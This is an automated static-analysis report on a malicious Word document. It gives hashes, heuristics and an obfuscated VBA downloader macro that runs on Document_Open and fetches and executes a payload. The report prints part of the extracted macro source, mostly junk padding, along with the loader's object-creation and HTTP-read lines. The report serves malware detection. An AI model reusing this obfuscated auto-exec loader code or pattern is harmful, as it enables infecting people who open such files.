Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 64756b8a6616e303…

MALICIOUS

Office (OLE)

413.0 KB Created: 2018-08-29 15:05:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: c103c2fee53af1e519cf59232fe4f9d2 SHA-1: 3973b8f599f03e9e2688ea09e66d0db56b6e2bfb SHA-256: 64756b8a6616e30373f6c37a53b0caf27bfb2285da09413801db84d92ce14045
340 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains heavily obfuscated VBA macros, including a Document_Open auto-exec macro. Critical heuristics indicate that the VBA code downloads a file via HTTP and executes it, a common pattern for droppers. The obfuscation and use of CreateObject/GetObject point towards a malicious intent to download and run a payload.

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-7144430-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7144430-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        AxJsmK = VOcbR.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set VOcbR = CreateObject(fZFIi("MKfSi REcnMUrs [o ajs Q oZ# f#B tBs(.tl X&% M@^ L A Hx  TwN T - PAzS"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set VOcbR = CreateObject(fZFIi("MKfSi REcnMUrs [o ajs Q oZ# f#B tBs(.tl X&% M@^ L A Hx  TwN T - PAzS"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set gnwpf = GetObject(kmPIRDhg)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        wVlKXijL = Environ(fZFIi("Awpjpi up^eqD) yaQXUtcf aUZ("))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 136554 bytes
SHA-256: c3b27ec9f0ad3ce65285b21547b81604219b511a13e99bb66b85d4537ea1e7cc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
681 of 1078 identifiers look randomly generated (e.g. 'kJS$TlxNIaEcOe_') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
    KoqSRVM = 300 + 1612 + 1803
    xdTnnXAmzHqV = 1806 + 552 + 1764
    kmWFG = 1748 - 1229 - 418
    xdTnnXAmzHqV = LTrim("   b&]%NW fW RVUu vJ")
    XPzPJr = 863 + 481 + 870
    kmWFG = Space(2)
    mlpnycJ = "QV[LWz^ !ZaJt%Kq H" + " s%Et L jD!L  " + "bEp(NF  @. WbQX   q"
    For QVHceG = 0 To 4
        While pBitlC < 2
            xdTnnXAmzHqV = LTrim("rO   . u Z m@qJ. ")
            KoqSRVM = StrReverse("sG@om XuTrfl[od")
            pBitlC = pBitlC + 3
        Wend

        xdTnnXAmzHqV = LTrim("WoQ %YF(p] H")
        yQatCyHyJ = 876 + 1786 + 964
        tiqmHaVGejAg = RTrim("W gu!@ &CT !MaqduNIs")
    Next QVHceG

    yQatCyHyJ = LTrim(" ]R ua%? C] ] Vv ")
    For jrRMfJ = 0 To 1
        While YItZGF < 4
            mlpnycJ = 672 + 843 + 1824
            KuNHtMa = UCase("rjx b?!P _o V N-TP")
            xdTnnXAmzHqV = UCase("^Tk I & W B SFo")
            XPzPJr = Right("F-^MPJZ^-@-.Ul U   F", 3)
            yQatCyHyJ = StrReverse("vYkchvQ i-")
            KoqSRVM = LTrim("-  GtY[ UBIyG")
            KoqSRVM = Right(" j  x  s  ", 5)
            YItZGF = YItZGF + 2
        Wend

        KuNHtMa = Right("(Nw Mt hw-", 5)
        KoqSRVM = 1901 + 895 + 523
        xdTnnXAmzHqV = UCase("r  KXY &Y&^c")
    Next jrRMfJ

    While aDZmbo < 4
        xdTnnXAmzHqV = 906 - 1332 - 1174
        xdTnnXAmzHqV = LTrim("   N]C   hI")
        CydSiYMSI = StrReverse(" P  (nTk RTd_QP ")
        KuNHtMa = Space(17)
        xdTnnXAmzHqV = Left("gVk nZ - n& q t", 2)
        mlpnycJ = 1252 - 1585 - 382
        KoqSRVM = 294 - 347 - 1006
        kmWFG = LTrim(" @ (]S _Ys EGHTlm]p")
        aDZmbo = aDZmbo + 2
    Wend

    HTXCj = 1067 - 1244 - 1243
    KoqSRVM = " H Mx@kgLv  " + "Z  aOi V  pkf  " + "u  c  mtzB"
    While dqPpvF < 2
        kmWFG = LTrim("tn.@D? P[b g  N ")
        KoqSRVM = Left("DUYd[TtbQGoRvufJXC", 4)
        xdTnnXAmzHqV = StrReverse("^_s(&S c X fY  C")
        dqPpvF = dqPpvF + 1
    Wend

    XPzPJr = 1326 - 1666 - 182
    tiqmHaVGejAg = LTrim("ge A&Jgjpej.Ls&   p")
    HTXCj = RTrim(" m  )? NgM")
    CydSiYMSI = Left("o  qc hkWT", 4)
    mlpnycJ = StrReverse("PGPOCTp)Evr #QxC")
    For iVowtB = 0 To 8
        kmWFG = Left(" wN^BSq$aH$kG%  ", 3)
        kmWFG = LTrim(" nwi  ) jqx n")
        xdTnnXAmzHqV = Space(17)
        xdTnnXAmzHqV = LTrim("[  #ODyOMRNtU")
        tiqmHaVGejAg = 1893 + 1949 + 998
    Next iVowtB

    KoqSRVM = UCase("r.hARiXMRns ")
    For BYQhPn = 0 To 5
        xdTnnXAmzHqV = RTrim("E  e-M#T oiR-pk!c ")
        tiqmHaVGejAg = LTrim("iJ h r   - ")
        KuNHtMa = UCase(" pz  ycD _]pwcf")
        KoqSRVM = 1432 - 810 - 278
        XPzPJr = Space(11)
    Next BYQhPn

    xdTnnXAmzHqV = Right("H ]Oajb( z) R  [pVg", 4)
    mlpnycJ = UCase("n_Tfa.  c  I [KI!_")
    KuNHtMa = 184 - 140 - 1301
    XPzPJr = "g) &nYkYI qqPO" + "lh  Z&FZhF @  " + "pCWjs Ur  !q W"
    xdTnnXAmzHqV = Right("EmENDOEH&M", 3)
    While UvGESn < 2
        For erwjZd = 0 To 8
            xdTnnXAmzHqV = 358 + 118 + 1989
            CydSiYMSI = Space(13)
            yQatCyHyJ = Space(12)
            KoqSRVM = Space(12)
            xdTnnXAmzHqV = Left("  L X@  xu LEtyw  ", 5)
            tiqmHaVGejAg = 935 + 388 + 1932
            kmWFG = RTrim("S]   uu P( q S l r")
            kmWFG = 1118 - 841 - 1577
            CydSiYMSI = Left("   %E_Tzm x J]J", 4)
        Next erwjZd

        HTXCj = 1431 + 1338 + 614
        KoqSRVM = LTrim("u z t t#s%  ")
        tiqmHaVGejAg = Right(".p [KbtR]N   M", 5)
        mlpnycJ = Left("yq  mwleju", 5)
        CydSiYMSI = StrReverse("%v-(wA   L")
        yQatCyHyJ = Left("%Tt@aG)d$&(H W   ", 4)
        xdTnnXAmzHqV = StrReverse("zsyFaVUk)xk$T ")
        XPzPJr = 1551 + 1685 + 1116
        yQatCyHyJ = "!RH GT) m @h m_-" + "@ O  ^l #l[HH k" + "I?fia?akTe)   E @%E"
        KoqSRVM = StrReverse("F t ZwtF i")
        UvGESn = UvGESn + 3
    Wend

    KoqSRVM = 1389 - 1315 - 643
    yQatCyHyJ = "i wJU&^ @@f (u" + "s-bPI) zpC pKYFz" + "Ll f!&p  A[N#sYB"
TLKzLeZo "NyNmYgRNQA", "WdZLgQP", "ozdOCPQMw", "xssaNwP", "NmpNFuV", "szxPXrA", "PKnLRTdRO"
    wVlKXijL = Environ(fZFIi("Awpjpi up^eqD) yaQXUtcf aUZ("))
    tiqmHaVGejAg = "oXNT-xS  ]-N EA$" + "Em-WdodE( l[n" + "i?qWyaL@vV_"
    KoqSRVM = Space(18)
    kmWFG = Space(10)
    HTXCj = 1408 + 1492 + 864
    Dim EUblLF As String
    CydSiYMSI = RTrim("_ fX@@  L ? d ")
    kmWFG = Left("IDF x(p#)S k V@qq", 4)
    For QbEFMw = 0 To 10
        KoqSRVM = RTrim("Z]OU guB_    y RX %")
        XPzPJr = RTrim(" o ]l R ezCh)Won  ")
    Next QbEFMw

    KuNHtMa = StrReverse("  I b GLmX  Jc .eKWS")
    While ApliSm < 2
        While tLGMgs < 3
            CydSiYMSI = RTrim("X  r @S   #")
            mlpnycJ = RTrim(" .xLg@Ken%")
            KoqSRVM = Left("(Ap a  FM@Qun", 2)
            yQatCyHyJ = Right("Ieu @uzJ   T!Py", 2)
            KoqSRVM = "Cxc Fc&d )FwU " + "j v OAA tIDCMj  g" + "[frs Sv f i JbR_PMn"
            tiqmHaVGejAg = StrReverse("LpV!W Nn    j ")
            CydSiYMSI = 1873 - 429 - 319
            tLGMgs = tLGMgs + 3
        Wend

        KoqSRVM = 808 - 997 - 1328
        kmWFG = RTrim("%U  M&v^vS ")
        KuNHtMa = 1677 - 1280 - 337
        yQatCyHyJ = Space(4)
        kmWFG = LTrim(" ZCG HjeiT")
        KuNHtMa = UCase("?-  [rNku]U-g@H")
        KoqSRVM = ".ic  FvKO[ J epL_ " + " SsH k  M$ f?" + " py-cMS a N"
        KoqSRVM = 996 + 1469 + 1560
        KuNHtMa = LTrim("zZb]KS_$  o")
        ApliSm = ApliSm + 1
    Wend

    XPzPJr = Left("tMa w ? eSitq!-r s", 2)
    xdTnnXAmzHqV = LTrim("(#_ ^ Z C  wJ ] ASjy")
    tiqmHaVGejAg = RTrim("h [ $cpT!L  #  ")
    EUblLF = "F[@OO"
    xdTnnXAmzHqV = Right("[vx aEW] px   Fouxkk", 4)
    While PeqQpW < 1
        For srgaHG = 0 To 6
            yQatCyHyJ = UCase("K ] e.caYr  Gj")
            mlpnycJ = 1000 + 1219 + 1631
            KuNHtMa = 346 - 518 - 800
            KuNHtMa = StrReverse("Bj Ve( tVVWms")
            tiqmHaVGejAg = 362 + 1548 + 898
            yQatCyHyJ = StrReverse("SSgKpdeE E GziNtZ VL")
            XPzPJr = 1436 - 1367 - 609
        Next srgaHG

        kmWFG = LTrim("[ r d [O# ")
        HTXCj = Space(12)
        KoqSRVM = StrReverse(" JNGXUGzk] T")
        kmWFG = UCase("JfB    ^[ Wo ")
        XPzPJr = Right(" ^ NbKfc.pKm T x", 2)
        PeqQpW = PeqQpW + 2
    Wend

    tiqmHaVGejAg = Space(1)
    While OyDzew < 1
        HTXCj = "J  j@ R   #S _ h swA" + " VcrO FV& o" + "K  XmLO%AS) "
        mlpnycJ = LTrim("OtnBq SKdhY Jkm")
        CydSiYMSI = Left("?o $PjRo p", 2)
        mlpnycJ = StrReverse("Npf%rbF   ")
        yQatCyHyJ = 474 + 217 + 925
        CydSiYMSI = Space(14)
        yQatCyHyJ = 1930 - 1998 - 184
        HTXCj = UCase("le(gqIO J@&@")
        OyDzew = OyDzew + 2
    Wend

    CydSiYMSI = " gqm& r    rv" + "( p ucK pt^D]@" + "D) @ )s  ?Yf cfu usM"
    tiqmHaVGejAg = "Zk)  k ]yJUO. " + "i)nUbcw  L ^zPe H] " + "Xhq gTo H r ^$"
    KuNHtMa = Left(" #s  OmnTg [FZ^", 5)
    yQatCyHyJ = 1431 - 237 - 1845
    EUblLF = EUblLF + " g(L "
    xdTnnXAmzHqV = 1058 - 1752 - 258
    tiqmHaVGejAg = Space(9)
    For ECAfjv = 0 To 5
        For eWFEqv = 0 To 6
            KuNHtMa = StrReverse("Z#G uD.D)a n( (Druy")
            kmWFG = LTrim(" [g!_lhsqL j %-l^ ")
        Next eWFEqv

        yQatCyHyJ = "G T@c]gW$gCN f" + "zQa bFmd(j(  S] -" + "yKLrij  xXpEmmWC   "
        XPzPJr = RTrim(". m !@o HK@ M")
        KuNHtMa = Right("pAjK&RF L@ n.)d", 3)
        kmWFG = " p?A w[bpHRw vmJFdB" + " &lD B%Z)  S" + " Je& _MGM$ ?aAV] ?yr"
    Next ECAfjv

    XPzPJr = 1163 + 1111 + 1332
    HTXCj = UCase(" #_Mi cyvRdk")
    mlpnycJ = 636 - 892 - 755
    tiqmHaVGejAg = Right("F Ez d CR.YN", 5)
    While KBnznq < 4
        For HnTnBt = 0 To 9
            xdTnnXAmzHqV = RTrim("CRh OstPw  -mi")
            mlpnycJ = 1713 + 1258 + 1573
            xdTnnXAmzHqV = 1873 - 1341 - 1655
        Next HnTnBt

        XPzPJr = 1733 - 1799 - 858
        CydSiYMSI = Space(3)
        KoqSRVM = UCase("SO%Ok]Z]]S  ")
        mlpnycJ = 1031 + 903 + 1579
        xdTnnXAmzHqV = 1810 - 714 - 1356
        xdTnnXAmzHqV = Left("O- CBZN#XUW  kh R H[", 5)
        kmWFG = 1519 - 1924 - 209
        KBnznq = KBnznq + 1
    Wend

    CydSiYMSI = UCase("j_qP u[%h_cSU ")
    KuNHtMa = RTrim("a (Sx aDh(lS y vL")
    EUblLF = EUblLF + "tpD Q"
    mlpnycJ = 392 - 202 - 798
    tiqmHaVGejAg = Left("qsd ?SFkz&", 2)
    xdTnnXAmzHqV = UCase("itn !dMSC$ w ..ef  V")
    mlpnycJ = Space(17)
    HTXCj = 1975 + 418 + 762
    EUblLF = EUblLF + "bEn B"
    CydSiYMSI = 1938 - 552 - 1336
    For PtDSyt = 0 To 2
        For jyLcdG = 0 To 10
            tiqmHaVGejAg = "HZ UksVXb E $P PxG )" + "G  m[ @#D A e" + " ?.BTW fqtB"
            mlpnycJ = Right("LMLX X )]s.g&.U gdR", 5)
            tiqmHaVGejAg = LTrim("Bi kg   VQ EA[dC]")
            xdTnnXAmzHqV = StrReverse("F JQj vL_vJ kQIz")
            KuNHtMa = Left("S#x?b@[n #x#Hb  y-UO", 3)
            HTXCj = Right("n? V[ctj- cP", 2)
            HTXCj = "tn  _  ^ F Ky " + " dqtoB b#nk" + "((n^ gusxF _"
            kmWFG = 1750 - 848 - 1204
            mlpnycJ = LTrim(" #) @?NydH")
            mlpnycJ = LTrim("jr.QA# LrLwHAe")
        Next jyLcdG

        kmWFG = UCase(" Yh^ cM I G veHr")
        CydSiYMSI = 1608 - 1315 - 463
    Next PtDSyt

    For kQZuoB = 0 To 6
        HTXCj = RTrim("&sCn !J?Y  ")
        KuNHtMa = "   z?In!aYaoL" + "IQ@cBacEy% B$kjJX " + "&- F!V o &d  h U ZY"
        kmWFG = RTrim("g o P D%j ")
        KoqSRVM = 1831 - 383 - 1838
        HTXCj = 545 - 341 - 1269
    Next kQZuoB

    HTXCj = RTrim("l  ub ezv ")
    CydSiYMSI = Left("  ZtR w . (jz&wU", 4)
    KoqSRVM = Space(4)
    For whcllC = 0 To 8
        KuNHtMa = 1694 - 1936 - 1028
        HTXCj = "SImt[ -v q C )A" + ")c#nE F P@" + "NORpTo uxk%] Q"
        yQatCyHyJ = Left("u %   SS IK.p^K", 5)
    Next whcllC

    CydSiYMSI = StrReverse("^Zw z#@%gzUxF@ H.a k")
    EUblLF = EUblLF + "RAWh\"
    While QhEipm < 5
        yQatCyHyJ = Left("]]c    SoJSHNs#g qIt", 4)
        KoqSRVM = 604 + 753 + 1638
        QhEipm = QhEipm + 1
    Wend

    XPzPJr = 1187 - 605 - 461
    For UfMAVX = 0 To 4
        For ucgcfm = 0 To 6
            HTXCj = StrReverse("dtjJE.lKcD koXuOFf")
            xdTnnXAmzHqV = Left("S uu uw(@A @i", 2)
        Next ucgcfm

        xdTnnXAmzHqV = UCase("ED  X H$YnH ")
        mlpnycJ = UCase("god x  u Kn]R   ")
        XPzPJr = UCase("pb w e B(^V_IYgWu")
        mlpnycJ = Right(" i#H I  Q ", 3)
        XPzPJr = 459 + 636 + 950
        kmWFG = Right("JycO) mL U[", 2)
        kmWFG = StrReverse("   b]#UxP  r eBYO")
        XPzPJr = 1615 - 626 - 1044
        kmWFG = " &y] G  ufB)mcGtp" + "o (o_ho   -" + "r rrhWF [VXe [( "
    Next UfMAVX

    kmWFG = "?O N]DY( bMdP(O" + " vBh@ HEQ uH!P [fPF" + "F@Iv  .ruo^X]Z"
    kmWFG = LTrim("_&_agAHYanlXAm")
    tiqmHaVGejAg = " XFuJ%!s ]qu[rfFV[  " + " p qZb TE Dmb cl t" + "x][Kj  W-) %] "
    CydSiYMSI = LTrim("N  kh%u Sy% f ")
    KoqSRVM = Left("@H _QWXp#B KeKo$S", 2)
    For nlBmuh = 0 To 10
        KoqSRVM = UCase("ouB  zQ $!.U- a% ")
        KuNHtMa = 1758 + 198 + 1508
        CydSiYMSI = Right("?#W Y q!J   JN   C.$", 4)
        HTXCj = Right(" aoyJ GM!W%]cBrtb%S", 3)
        yQatCyHyJ = 1408 + 729 + 728
        KuNHtMa = LTrim("GJ wb YsHHfIqSc")
        yQatCyHyJ = StrReverse("JLi zj )BF#RCO&.Z! I")
        tiqmHaVGejAg = "[  v@c o?fOcDj" + "DQT?A(&admB_-^N" + " A M ( #-Nvs o^ x"
        HTXCj = "]U  bU] HD oRds p" + "]mS  &b IUY  ZkN]m d" + "_G T ?gf   o "
    Next nlBmuh

    EUblLF = EUblLF + "EcrYZ"
    kmWFG = 1061 - 1860 - 1121
    KoqSRVM = LTrim("h% flh  VWSu^V")
    CydSiYMSI = UCase("$w_QHP( ZOiT")
    yQatCyHyJ = Space(12)
    xdTnnXAmzHqV = Right("].X&L et  ymVzLrD@$Y", 3)
    xdTnnXAmzHqV = 1491 + 1685 + 1903
    EUblLF = EUblLF + "tyEpu"
    mlpnycJ = Space(20)
    HTXCj = UCase("n Oac jsA Gmj Ypo ")
    kmWFG = UCase("  o AaNmKrk ct")
    KoqSRVM = LTrim(" W  M%Q  tcCyX-RHLu")
    KuNHtMa = RTrim(".F %uHMdZB.jZKn")
    CydSiYMSI = StrReverse("xb-Pk dnfN YOAT ")
    EUblLF = EUblLF + " b$Gt"
    For TmcPrt = 0 To 5
        For brnpyy = 0 To 10
            mlpnycJ = 1284 - 588 - 303
            KuNHtMa = StrReverse("   LYm R  ")
            HTXCj = Space(6)
            kmWFG = LTrim("H   BVO?Eln")
            KuNHtMa = 1816 - 716 - 184
            yQatCyHyJ = RTrim("WuAU) CMPk$ROPD# c")
            KoqSRVM = StrReverse("A-?Ec)  g_ Yjyz")
            kmWFG = UCase("f bc&d  azdo ")
            XPzPJr = RTrim(" eOYx GfD ")
            tiqmHaVGejAg = 399 + 362 + 266
        Next brnpyy

        XPzPJr = ".IF!bgiZE?x?" + " #EvmH% RC" + "i$OVSQm   a ho ! k "
        mlpnycJ = 820 + 536 + 683
        CydSiYMSI = StrReverse("BkV s ED a")
        kmWFG = Right("NDE_#qn Y M-TW ", 2)
    Next TmcPrt

    tiqmHaVGejAg = "POL!uYp#myYVlcz V$ " + "A zu ] (%W Bo_A%BSk" + "fne  ! lvIe) M"
    tiqmHaVGejAg = 683 + 216 + 1145
    tiqmHaVGejAg = Right("Z(  vwj]i D !y%b", 5)
    mlpnycJ = Right("nATPWTEWTr lytf-&", 3)
    While pckAvG < 3
        XPzPJr = Left(" [ayDdxMIu", 5)
        HTXCj = LTrim("qOAjCzX# &cIN")
        xdTnnXAmzHqV = 859 + 282 + 1414
        mlpnycJ = Space(14)
        xdTnnXAmzHqV = StrReverse("l f^XRkFa fxBLV")
        kmWFG = 1658 - 1270 - 1105
        kmWFG = RTrim("N^& n # DfN  lXpD Qj")
        tiqmHaVGejAg = Left("wdz qa -o O  ? ", 5)
        pckAvG = pckAvG + 2
    Wend

    While MMpSVF < 1
        While kyYyqU < 4
            xdTnnXAmzHqV = Right("O_fC  h Z u&DA D@Ol_", 4)
            XPzPJr = Left("# qV  _QrkX ", 4)
            yQatCyHyJ = 828 + 1885 + 1932
            mlpnycJ = "!u g)GL _tU%Had " + " lL I]UlL   X" + "y%%rL HcMrLxqd# l L"
            CydSiYMSI = Space(3)
            XPzPJr = StrReverse("pcC $G$yW ^")
            kmWFG = ".K HmuC PK JS )R" + "q!$c T-Bk] CK) " + "N e _^ i(U-"
            mlpnycJ = 1701 + 1382 + 1436
            KuNHtMa = 1355 - 1898 - 1281
            XPzPJr = StrReverse("GB  s eim fxA?  D i")
            kyYyqU = kyYyqU + 3
        Wend

        yQatCyHyJ = StrReverse(" TIN Q$  $B Zj HHB!")
        HTXCj = 1029 - 100 - 422
        CydSiYMSI = Left(" kMk QPh G", 4)
        kmWFG = Right(" i(dyYW&R @ wi", 4)
        CydSiYMSI = 604 - 612 - 1930
        tiqmHaVGejAg = RTrim("a RWX J C ! OQP")
        mlpnycJ = 202 - 1205 - 526
        tiqmHaVGejAg = Left("DDib.tn?._  NxIwbRPI", 2)
        MMpSVF = MMpSVF + 1
    Wend

    yQatCyHyJ = RTrim("d. SAVe ^EG]g OQUGz ")
    EUblLF = EUblLF + "Y TI."
    tiqmHaVGejAg = LTrim("dKnw Sp Bi")
    KoqSRVM = RTrim("%czq Qv[ CPY% qn")
    KoqSRVM = Left("Zx^ r- VI  HCsF", 2)
    CydSiYMSI = "FKu $oX rV) x " + "k )b_#AZ) $$ " + "jTxg[xIV U   xuh  "
    HTXCj = StrReverse("[[X^cAAP gUH  r")
    HTXCj = 829 + 700 + 1558
    yQatCyHyJ = Right("s  E .woZMqS ])TB", 2)
    While hcLmup < 4
        For zGxRyM = 0 To 5
            tiqmHaVGejAg = RTrim("m  Xk-v]ETJo")
            xdTnnXAmzHqV = "D hL?@veQGsZZH pw " + "D! e?   .mODy I [( $" + "sgfGkvOoR iTm?c  oFM"
        Next zGxRyM

        kmWFG = Left("E &E[jAchwXG ", 4)
        HTXCj = Space(10)
        tiqmHaVGejAg = StrReverse("HC !JC Q l - HUI#_l")
        hcLmup = hcLmup + 1
    Wend

    xdTnnXAmzHqV = RTrim(" Xk&GBC Il E  S  Ii")
    XPzPJr = UCase("c.XS [gTC# ky ke")
    EUblLF = EUblLF + "e  em"
    mlpnycJ = Left("ES?$-Dak@l", 4)
    For hpgslK = 0 To 5
        For rTImWZ = 0 To 6
            tiqmHaVGejAg = RTrim("d.^jySO E_a^J_ E    ")
            HTXCj = UCase("a c e@y^ b ?")
            HTXCj = UCase("Jbw[ Np p ")
            KoqSRVM = RTrim(" ?  yZ  %Dvpkkm j")
            XPzPJr = Left("_b vY OA   c](k", 5)
            XPzPJr = Right("wb]oxFpO j", 5)
            CydSiYMSI = RTrim("ciEQ ?at%ce y]N i ")
            mlpnycJ = Left("uTBv    - ", 2)
            xdTnnXAmzHqV = " )%@WL xqn$J ?R s[" + ")JO M n %Lhp  M dV " + "k  kEB[ )gA"
            yQatCyHyJ = 1510 - 115 - 1461
        Next rTImWZ

        kmWFG = RTrim("unXv[ A(Yz")
        yQatCyHyJ = StrReverse("A _  Fw#owJfV h ")
        KoqSRVM = Right("t [Wsh i) i )c]- znp", 3)
        kmWFG = RTrim("%zf aKe?YlznB[ DwdRj")
        HTXCj = StrReverse("-w cwzk HNO@MDEC ]")
        xdTnnXAmzHqV = 1618 + 1125 + 1451
        xdTnnXAmzHqV = LTrim(" uez. JDBG")
        KoqSRVM = Left("F )^M  D( Wr] ", 5)
        yQatCyHyJ = " W[iXg Lh ?" + "ZHOEa$cMZ -&dgr cL" + " $%[wD c#BUDr!LQ"
        xdTnnXAmzHqV = Right(" z [  Z_Xl-  o ", 2)
    Next hpgslK

    HTXCj = 617 + 1556 + 377
    HTXCj = Left("OOq]-  _(f%)fM", 4)
    For mXxHpI = 0 To 5
        While nFqDpu < 2
            HTXCj = Space(14)
            KoqSRVM = 1484 - 1050 - 471
            HTXCj = 964 + 576 + 1035
            CydSiYMSI = Right(" n QVcm)nV !", 2)
            KuNHtMa = Space(8)
            xdTnnXAmzHqV = 298 - 1065 - 1299
            CydSiYMSI = 729 - 1305 - 330
            KoqSRVM = StrReverse("eWk BY)r [xXG] J$(-O")
            nFqDpu = nFqDpu + 1
        Wend

        xdTnnXAmzHqV = LTrim("^@Ll NRktWEj wC i")
        xdTnnXAmzHqV = LTrim("X iJd  Q  LuZ")
        XPzPJr = Right("fXK  YNgww z", 4)
        yQatCyHyJ = " GXVUcP .Y^)%aVb  " + "ncMnJ vz     .-W SO" + "v c @ktt@ D$ $ ("
        KuNHtMa = "DWkL)  XBB Qy$PlONWm" + " I xLs@  -a  " + "  BUZzAJeo %P"
        XPzPJr = Right("z - yisHrgBZKx", 2)
        KoqSRVM = UCase("B snmxpy@ Hf&O")
        xdTnnXAmzHqV = "S Gl  qs(C! E C" + " O$ -Wq !lhL" + "Rp e  U A PYEcRK   "
        KuNHtMa = LTrim("D  II p@ tZQ")
    Next mXxHpI

    CydSiYMSI = RTrim("!W?GU  ReM@j G C$")
    xdTnnXAmzHqV = Left("uYG $puUvDp PY U ", 2)
    xdTnnXAmzHqV = "&TfKuPa aajk Tam&" + "c p(  XLJLL" + " E )ymZKm $&  Hr"
    xdTnnXAmzHqV = Space(10)
    EUblLF = EUblLF + "j x ^"
    While kNIYXG < 5
        While jbHnvf < 2
            KuNHtMa = 571 - 306 - 1669
            tiqmHaVGejAg = 938 - 1222 - 770
            KuNHtMa = LTrim("  pu  LX r uN(")
            XPzPJr = " BJs MKOIS  T sWx " + "Y   K$  By" + " Qs SywHrOSECHLO "
            jbHnvf = jbHnvf + 3
        Wend

        kmWFG = Left("      F)rdQ w", 2)
        yQatCyHyJ = StrReverse(" ^H! kT?$-^#wRrR")
        yQatCyHyJ = Left("g f N )A)  CL", 5)
        CydSiYMSI = StrReverse("x  #OmCH_[q$Q")
        mlpnycJ = StrReverse("Y TL D s-VP&")
        mlpnycJ = Right("P?  F q dO   CqbF w", 4)
        mlpnycJ = RTrim("qwu c-_kF  uAvf OO?X")
        kNIYXG = kNIYXG + 1
    Wend

    XPzPJr = Left("z$X  c # zavaTc", 4)
    KoqSRVM = LTrim("e  &$x sZMj")
    XPzPJr = 1586 - 771 - 192
    KoqSRVM = LTrim("R.WUlTg xA")
    EUblLF = EUblLF + "Ne(] "
    CydSiYMSI = UCase("  Xj_  d@_a%w")
    For YUzzUG = 0 To 1
        For SUZHnn = 0 To 8
            XPzPJr = 721 - 1066 - 1552
            KoqSRVM = " iI G&s   D@ o(  " + " tQ   pypCm  o UT" + "(%KEfrPL[ [hZ"
            CydSiYMSI = UCase("cOZm! h. wO    X U")
            xdTnnXAmzHqV = RTrim(" mQ @cfum!B -.f w")
            tiqmHaVGejAg = LTrim("V  ZWb !_FHJafQ")
        Next SUZHnn

        kmWFG = "(jRYor     eGR oT" + "BEdoK pUz @?" + "$ EZZZ g_ B ? [.B  $"
        CydSiYMSI = "!rGpttPrd%" + "EjChJmJX@   q U)" + "kxXJ b %hE.XS"
        xdTnnXAmzHqV = 1364 + 406 + 1411
        KuNHtMa = 1345 + 635 + 605
        CydSiYMSI = RTrim("%p i%NKA ort")
        tiqmHaVGejAg = LTrim("Mv zW? ?W#i?umw(Ky")
        tiqmHaVGejAg = StrReverse("d- LPcWKJ b  Uo")
        KoqSRVM = 917 - 1744 - 786
    Next YUzzUG

    yQatCyHyJ = Left("J - %?lqsdpD", 2)
    KuNHtMa = 1608 + 345 + 1680
    KuNHtMa = Left("eaznZo[cCs ?F", 4)
    tiqmHaVGejAg = LTrim("V  )X#Z ]C^&kdVcY")
    xdTnnXAmzHqV = 1183 - 956 - 600
    For YRCyVH = 0 To 10
        mlpnycJ = UCase("Crsj wRWzl.STsnL")
        CydSiYMSI = LTrim("q   y nejQg ")
        yQatCyHyJ = "v G  Jjx@   " + "BtPB  ib  " + "X hockftou_"
        mlpnycJ = Space(16)
        XPzPJr = Space(19)
        XPzPJr = LTrim("mgE W) g h")
        KuNHtMa = UCase("wC nE!  vvCHXb")
    Next YRCyVH

    EUblLF = Replace(fZFIi(EUblLF), "FOLDER", Environ(fZFIi("AX- p ?cp)K DW qaG. tZt a-wG")))
    KuNHtMa = 1388 + 495 + 920
    tiqmHaVGejAg = StrReverse("#aR-@S HpH%E d")
    While NbsYRf < 1
        For VylMBr = 0 To 7
            KoqSRVM = 466 - 355 - 884
            CydSiYMSI = LTrim("(pVvF VC @bt eYB")
            tiqmHaVGejAg = Right("yLcdKj   E-", 5)
        Next VylMBr

        yQatCyHyJ = RTrim(" S(%K  U i [^ A_f")
        yQatCyHyJ = Left("cy! $lXq cyJ?^ uw [", 2)
        xdTnnXAmzHqV = 357 + 1466 + 432
